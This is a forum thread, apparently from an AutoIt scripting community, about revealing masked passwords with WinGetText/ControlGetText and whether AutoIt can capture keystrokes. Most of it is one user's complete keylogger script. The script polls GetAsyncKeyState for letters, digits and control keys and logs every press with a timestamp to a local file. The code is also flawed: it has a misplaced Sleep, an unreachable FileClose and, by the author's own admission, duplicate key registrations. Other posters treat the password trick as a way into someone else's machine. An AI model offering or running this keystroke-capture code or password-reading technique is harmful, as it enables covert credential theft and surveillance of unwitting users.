Jump to content

WinGetText = GetPassword!


Fredledingue
 Share

Recommended Posts

If that's your goal, a keylogger will be a much better bet. There's no way to get some stuff, for example, many fields in a browser window, and the like.

Edit: Any program that doesn't use default controls as to allow for the reading of the field will also fail under this method.

This is an interesting observation none-the-less.

Edited by pekster

[font="Optima"]"Standing in the rain, twisted and insane, we are holding onto nothing.Feeling every breath, holding no regrets, we're still looking out for something."[/font]Note: my projects are off-line until I can spend more time to make them compatable with syntax changes.

Link to comment
Share on other sites

Guest Guidosoft

If that's your goal, a keylogger will be a much better bet.  There's no way to get some stuff, for example, many fields in a browser window, and the like.

Edit: Any program that doesn't use default controls as to allow for the reading of the field will also fail under this method.

This is an interesting observation none-the-less.

<{POST_SNAPBACK}>

Wait a minute, how do you recieve every key that the users enters? To do that you would have make the key trigger a function witch frees it then logs then sends the key then reassigns the key. Too slow, too supicious, and too stupid. Can't you just recieve every key that the user enters and still allow it to carry out it's function?
Link to comment
Share on other sites

Can't you just recieve every key that the user enters and still allow it to carry out it's function?

<{POST_SNAPBACK}>

Not in AutoIt. AutoIt cannot set hotkeys to the base keys (the letters and numbers without modifiers.) If you need that kind of functionality, you really need a keylogger and not AutoIt. Doing this on AutoIt's parts would require even hooks to trap the keypress, and that's not something that I see (or want) AutoIt supporting.

The point above was that in a password prompt that uses the Windows default text control with a password style, AutoIt can read the text with a simple ControlGetText command.

[font="Optima"]"Standing in the rain, twisted and insane, we are holding onto nothing.Feeling every breath, holding no regrets, we're still looking out for something."[/font]Note: my projects are off-line until I can spend more time to make them compatable with syntax changes.

Link to comment
Share on other sites

Guest Guidosoft

Hye, no that was not my goal! :ph34r:

<{POST_SNAPBACK}>

lol, you are accused of being a hacker! LOL! How do you plea? LOL

This reminds me of a time in a chat room when somebody kept saying lol every 4 lines and nothing but LOL. First they told him to stop saying lol we know your laghing out loud then he got kicked out cause he kept talking and he said Can somebody please ban this person.

Link to comment
Share on other sites

  • 3 months later...

I was surprised to see that WinGetText  also unveils password hiden under *****.

Great tool to find what password is realy in use...or for hacking someone else machine!  :D

<{POST_SNAPBACK}>

Getting back to the topic at hand, how do you use the WinGetText to retrieve passwords? I personally find this very interesting because I am a user of the lazy "remember my password" setting and once in a while, if you can imagine, Windows will need to be killed and reloaded or something will fail and I will lose my saved passwords. :idiot:

I think this would be a GREAT way to get those passwords back. :lol:

Writing damaged code since 1996.

Link to comment
Share on other sites

keylogger not possible in autoit? watch this...

Func _IsPressed($hexKey)

  
  Local $aR, $bRv
  $hexKey = '0x' & $hexKey
  $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)
 
  If $aR[0] <> 0 Then
     $bRv = 1
  Else
     $bRv = 0
  EndIf
  
  Return $bRv
EndFunc  

$file = FileOpen("keylog.txt", 1)
If $file = -1 Then
   Exit
EndIf

While 1

  If _IsPressed(41) Then
     _LogKeyPress("a")
EndIf


  If _IsPressed(42) Then
     _LogKeyPress("b")
EndIf


  If _IsPressed(43) Then
     _LogKeyPress("c")
EndIf


  If _IsPressed(44) Then
     _LogKeyPress("d")
EndIf

 
  If _IsPressed(45) Then
     _LogKeyPress("e")
EndIf

 
  If _IsPressed(46) Then
     _LogKeyPress("f")
EndIf


  If _IsPressed(47) Then
     _LogKeyPress("g")
EndIf


  If _IsPressed(48) Then
     _LogKeyPress("h")
EndIf


  If _IsPressed(49) Then
     _LogKeyPress("i")
EndIf

 
  If _IsPressed('4a') Then
     _LogKeyPress("j")
EndIf


  If _IsPressed('4b') Then
     _LogKeyPress("k")
EndIf


  If _IsPressed('4c') Then
     _LogKeyPress("l")
EndIf

 
  If _IsPressed('4d') Then
     _LogKeyPress("m")
EndIf


  If _IsPressed('4e') = 1 Then 
     _LogKeyPress("n")
EndIf


  If _IsPressed('4f') Then
     _LogKeyPress("o")
EndIf


  If _IsPressed(50) Then
     _LogKeyPress("p")
EndIf


  If _IsPressed(51) Then
     _LogKeyPress("q")
EndIf


  If _IsPressed(52) Then
     _LogKeyPress("r")
EndIf

 
  If _IsPressed(53) Then
     _LogKeyPress("s")
EndIf


  If _IsPressed(54) Then
     _LogKeyPress("t")
EndIf


  If _IsPressed(55) Then
     _LogKeyPress("u")
EndIf


  If _IsPressed(56) Then
     _LogKeyPress("v")
EndIf


  If _IsPressed(57) Then
     _LogKeyPress("w")
EndIf


  If _IsPressed(58) Then
     _LogKeyPress("x")
EndIf


  If _IsPressed(59) Then
     _LogKeyPress("y")
EndIf

   If _IsPressed('5a') Then
     _LogKeyPress("z")
EndIf
 

If _IsPressed('01') Then
     _LogKeyPress("LEFT MOUSE")
EndIf

  If _IsPressed('02') Then
     _LogKeyPress("RIGHT MOUSE")
  EndIf
  
  
    If _IsPressed('08') Then
     _LogKeyPress("BACKSPACE")
  EndIf
  
  
    If _IsPressed('09') Then
     _LogKeyPress("TAB")
  EndIf
  
  
    If _IsPressed('0d') Then
     _LogKeyPress("ENTER")
  EndIf
  
  
    If _IsPressed('10') Then
     _LogKeyPress("SHIFT")
  EndIf
  
  
      If _IsPressed('11') Then
     _LogKeyPress("CTRL")
  EndIf
  
  
      If _IsPressed('12') Then
     _LogKeyPress("ALT")
EndIf


    If _IsPressed('13') Then
     _LogKeyPress("PAUSE")
  EndIf   


   If _IsPressed('14') Then
     _LogKeyPress("CAPSLOCK")
EndIf


    If _IsPressed('1b') Then
     _LogKeyPress("ESC")
EndIf


    If _IsPressed('20') Then
     _LogKeyPress("SPACE")
  EndIf
  
  
      If _IsPressed('21') Then
     _LogKeyPress("PGUP")
  EndIf
  
  
      If _IsPressed('22') Then
     _LogKeyPress("PGDOWN")
  EndIf
  
  
      If _IsPressed('23') Then
     _LogKeyPress("END")
  EndIf
  
  
      If _IsPressed('24') Then
     _LogKeyPress("HOME")
  EndIf
  
  
      If _IsPressed('25') Then
     _LogKeyPress("LEFT ARROW")
  EndIf
  
  
      If _IsPressed('26') Then
     _LogKeyPress("UP ARROW")
  EndIf
  
  
      If _IsPressed('27') Then
     _LogKeyPress("RIGHT ARROW")
  EndIf
  
  
      If _IsPressed('28') Then
     _LogKeyPress("DOWN ARROW")
  EndIf
  
  
      If _IsPressed('2c') Then
     _LogKeyPress("PRNTSCRN")
  EndIf
  
  
      If _IsPressed('2d') Then
     _LogKeyPress("INSERT")
  EndIf
  
  
      If _IsPressed('2e') Then
     _LogKeyPress("DEL")
EndIf

    If _IsPressed('30') Then
     _LogKeyPress("0")
  EndIf
  
  
      If _IsPressed('31') Then
     _LogKeyPress("1")
  EndIf
  
  
      If _IsPressed('32') Then
     _LogKeyPress("2")
  EndIf
  
  
      If _IsPressed('33') Then
     _LogKeyPress("3")
  EndIf
  
  
      If _IsPressed('34') Then
     _LogKeyPress("4")
  EndIf
  
  
      If _IsPressed('35') Then
     _LogKeyPress("5")
  EndIf
  
  
      If _IsPressed('36') Then
     _LogKeyPress("6")
  EndIf
  
  
      If _IsPressed('37') Then
     _LogKeyPress("7")
  EndIf
  
  
      If _IsPressed('38') Then
     _LogKeyPress("8")
EndIf


    If _IsPressed('39') Then
     _LogKeyPress("9")
EndIf

WEnd

  Sleep(50)
Func _LogKeyPress($what2log)
  FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". "  &@YEAR & "  " &@HOUR & ":" &@MIN & ":" &@SEC & " ]   " & "Pressed Button: " & $what2log)
sleep ("100")
EndFunc

FileClose($file)

i forgot asome keys, and if someone presses any key, it may come up as 2 or 3 of those letters, im pretty sure it can be fixed, i just gotta add something but you can figure it out...

P.S. sorry moderators if this is not supposed to be up here, take it down if necessary

P.SS. i dont use this for bad purposes either...

EDIT!!!: i know thats not the updated ispressed i think :idiot:

Edited by layer
FootbaG
Link to comment
Share on other sites

Func _LogKeyPress($what2log)
  FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". "  &@YEAR & "  " &@HOUR & ":" &@MIN & ":" &@SEC & " ]   " & "Pressed Button: " & $what2log)
sleep ("100")
EndFunc

<{POST_SNAPBACK}>

Sleep("100") is wrong. You should use Sleep(100).

And you should give me credit for the basic script :/

[quote name='d2hacker88' date='Jan 6 2005, 05:10 PM']Can someone please help me out with autoit like gimme a link on how to use it cause i have no experience with computer languages and i'd like to make a program with autoit in order to empress my computer teacher.[right][snapback]52215[/snapback][/right][/quote]

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...